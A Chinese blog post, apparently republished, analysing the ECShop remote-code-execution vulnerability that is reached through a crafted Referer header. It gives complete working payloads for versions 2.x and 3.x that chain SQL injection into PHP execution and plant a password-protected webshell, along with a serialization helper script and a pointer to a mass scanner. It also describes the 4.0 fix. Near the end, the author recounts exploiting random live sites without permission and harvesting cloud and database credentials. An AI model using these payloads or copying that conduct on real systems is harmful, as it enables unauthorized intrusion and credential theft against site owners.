您好,登錄后才能下訂單哦!
如何進行ECShop全系列版本遠程代碼執行高危漏洞分析及實戰提權,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
ECShop的user.php文件中的display函數的模版變量可控,導致注入,配合注入可達到遠程代碼執行。攻擊者無需登錄站點等操作,可以直接遠程寫入webshell,危害嚴重。
嚴重
ECShop全系列版本,包括2.x,3.0.x,3.6.x等。
先看 ecshop/user.php:302
$back_act
變量來源于 HTTP_REFERER
,可控。
Ecshop 使用了 php 模版引擎 smarty ,該引擎有兩個基本的函數assign()、display()。assign()函數用于在模版執行時為模版變量賦值,display()函數用于顯示模版。smarty運行時,會讀取模版文件,將模版文件中的占位符替換成assign()函數傳遞過來的參數值,并輸出一個編譯處理后的php文件,交由服務器運行。
在:ecshop/includes/init.php:169
文件中創建了Smarty對象cls_template
來處理模版文件,對應的文件是includes/cla_template.php
,如下圖:
我們再看 assign
函數:ecshop/includes/cls_template.php:70
assign
函數用于在模版變量里賦值。
display
函數:ecshop/includes/cls_template.php:100
從函數來看,首先會調用 $this->fetch
來處理user_passport.dwt
模板文件,fetch()
函數中會調用 $this->make_compiled
來編譯模板。 make_compiled
會將模板中的變量解析,也就是在這個時候將上面 assign
中注冊到的變量 $back_act
傳遞進去了,解析完變量之后返回到 display
函數中。此時 $out
是解析變量后的html內容,判斷 $this->_echash
是否在 $out
中,若在,使用 $this->_echash
來分割內容,得到 $k
然后交給 insert_mod
處理。
user_passport.dwt
模版文件內容:
來看看 _echash
是啥,此文件28行:
由于 _echash
是固定的,不是隨機生成的。(2.7版本的 _echash
值為 554fcae493e564ee0dc75bdf2ebf94ca
而3.x版本的 _echash
值為 45ea207d7a2b68c49582d2d22adf953
)所以 $val
內容可控!
跟進 insert_mod()
函數,此文件1150行:
$val
傳遞進來,先用 |
分割,得到 $para
和 $fun
,$para
進行反序列操作,insert_
和 $fun
拼接,最后動態調用 $fun($para)
。函數名部分可控,參數完全可控。接下來就是尋找以 insert_
開頭的可利用的函數了,在 ecshop/includes/lib_insert.php
有一個 insert_ads
函數,正好滿足要求。
最后來看動態內容函數庫中的 insert_ads()
函數:ecshop/includes/lib_insert.php:136
可以看到這里執行了SQL語句,而 $arr['id']
和 $arr['num']
這兩個參數正是我們傳進來的數組中的內容,參數可控,而且沒有作任何過濾,就造成了SQL注入漏洞。
payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}
其數據庫查詢語句為:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecsshop2`.`ecs_ad` AS a LEFT JOIN `ecsshop2`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1537322291' AND end_time >= '1537322291' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
接著,程序會調用模板類的 fetch()
函數:ecshop/includes/lib_insert.php:215
在 user.php
中調用 display
,然后調用 fetch
的時候傳入的參數是 user_passport.dwt
,而在此處傳入的參數是 $position_style
。向上溯源,發現是 $row['position_style']
賦值而來:ecshop/includes/lib_insert.php:176
而 position_style
是SQL語句查詢的結果,結果上面這個SQL注入漏洞,SQL查詢的結果可控,也就是 $position_style
可控。要到 $position_style = $row['position_style'];
還有一個條件,就是 $row['position_id']
要等于 $arr['id']
。
并且構造SQL注入時,這段SQL操作 ORDER BY rnd LIMIT 1
部分換行了截斷不了,所以需要在id處構造注釋來配合num進行union查詢。
那么id
傳入 '/*
, num
傳入 */ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -
即可繞過這兩個問題。
數據庫查詢語句為:SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM
ecsshop.
ecs_adAS a LEFT JOIN
ecsshop.
ecs_ad_positionAS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -;
之后 $position_style
會拼接 'str:'
傳入 fetch
函數。
追蹤 fetch()
函數:ecshop/includes/cls_template.php:135
因為之前拼接 'str:'
了,所以 strncmp($filename,'str:', 4) == 0
為真,然后會調用危險函數 $this->_eval
,這也就是最終觸發漏洞的點。但是參數在傳遞之前經過了 fetch_str
方法的處理,跟進: ecshop/includes/cls_template.php:281
第一個正則會匹配一些關鍵字后置空,主要看最后的返回正則:
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
這個正則是將 $source
的值交于 $this->select()
函數處理。例如, $source
的值是 xxx{$abc}xxx
,正則捕獲到的 group 1
就是 $abc
,然后就會調用 $this->select("$abc")
。
跟進 select()
函數: 本文件368行
當傳入的變量的第一個字符是 $
時,會返回由 php 標簽包含變量的字符串,最終返回到 _eval()
危險函數內執行。在返回之前,還調用了 $this->get_var
處理,跟進 get_var
: 本文件548行
當傳入的變量沒有 .$
時,調用 $this->make_var
,跟進make_var()
: 本文件671行
在這里結合 select
函數里面的語句來看, <?php echo $this->_var[' $val '];?>
,要成功執行代碼的話, $val
必須要把 ['
閉合,所以payload構造,從下往上構造。 $val
為 abc'];echo phpinfo();//;
從 select
函數進入 get_var
的條件是第一個字符是 $
,所以payload變成了 $abc'];echo phpinfo();//;
而要進入到 select
,需要被捕獲,payload變成了 {$abc'];echo phpinfo();//}
,這里因為payload的是 phpinfo()
,這里會被 fetch_str
函數的第一個正則匹配到,需要變換一下,所以payload變為 {$abc'];echo phpinfo/**/();//}
。到這里為止,php 惡意代碼就構造完成了。
結合之前的SQL注入漏洞,最終執行惡意代碼的payload為:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
簡單講一下3.x版本吧。
在ECShop3.x版本中,添加了一個 includes/safety.php
文件,專門用于消除有害數據,它的正則會匹配到 set
、 concat
、information_schema
、 select from
等語句。暫時沒有找到可繞過的SQL語句,但是命令執行還是可以繞過的。因為我們之前的payload經過編碼,這樣就繞過了正則匹配。現在唯一能匹配到的就是 union select
語句,我們可以同時利用 $arr['id']
和 $arr['num']
兩個參數,將 union
和 select
分開傳遞即可繞過正則檢測。
本次復現的是ECShop_V2.7.3,打包源碼ECShop_V2.7.3_UTF8_release1106.rar(提取碼:2yk1
)。ecshop2.7.3是在php5.2環境下開發的老網店系統了,現在很多服務器環境已經升級為PHP5.3或php5.4甚至更好的了,那么在php5.3以上版本的服務器環境中運行出現必然出現很多兼容問題,推薦2篇解決文章:1、2。
phpinfo():
webshell:
不想本地搭建環境的朋友,推薦兩個在線漏洞環境,但是為了更深刻的了解其原理與學習,建議本地搭建調試分析。
在線環境vulnspy
在線環境vulhub
phpinfo():
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
webshell:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
會在網站根目錄生成1.php
,密碼:1337
phpinfo():
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
webshell:
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
會在網站根目錄生成1.php
,密碼:1337
下面給出一個序列化的php腳本(第9個位置就是你想要的):
<?php $arr=array('num'=>'*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79776E50443977614841675A585A686243676B58314250553152624F546C644B543867506963702729293B2F2F7D787878,10-- -','id'=>'\'/*');echo serialize($arr);?>
一款采用C#開發的掃描工具,專門掃描EcShop < 4.0 遠程代碼執行漏洞,1萬個網站只需要30秒左右就能完成了。
EcShop_RCE_Scanner
目前我們分析下載最新版的ECShop 4.0里對這個漏洞進行修復:
看到 ecshop4/ecshop/includes/lib_insert.php
可以看到,將傳遞進來的 $arr[id]
和$arr[num]
強制轉換成整型,這樣就沒法利用這個漏洞了。
另外我們注意到官方并沒有發布針對老版本的(2.x和3.x)的獨立修復補丁,相關老版本的用戶可參考ECShop 4.0代碼來修復或者直接升級到ECShop 4.0。
隨便找了個2.7.3和3.0.0的站。直接用exp就能getshell,像本地搭建的一樣。
最近聽老師說搞安全的最高境界其實是社會工程學。我在進數據庫看到加密后的密碼,知道加密方式后,搞了很久還是解不出來后臺密碼,室友在旁邊花了幾分鐘當場把密碼猜出來。所以說,最牛逼的是一口能猜出密碼,哪還要搞那么多花里胡哨的東西哦~
有新站:
有老站:
新站剛建就爆漏洞,老站還在更新內容,有點意思。
直接把很重要的東西寫在一個稍微隱蔽點的地方,還是被我翻到了,比如阿里云賬號密碼,數據庫賬號密碼。
而且他的密碼還都幾乎都是是弱口令,真是讓人深思。
哈哈,暫時沒找到方法。小白也才開始學提權,說出來其實是想有大佬能指點一二,等提權了再更新這一部分吧。
不能執行命令,有讀寫權限。
看完上述內容,你們掌握如何進行ECShop全系列版本遠程代碼執行高危漏洞分析及實戰提權的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。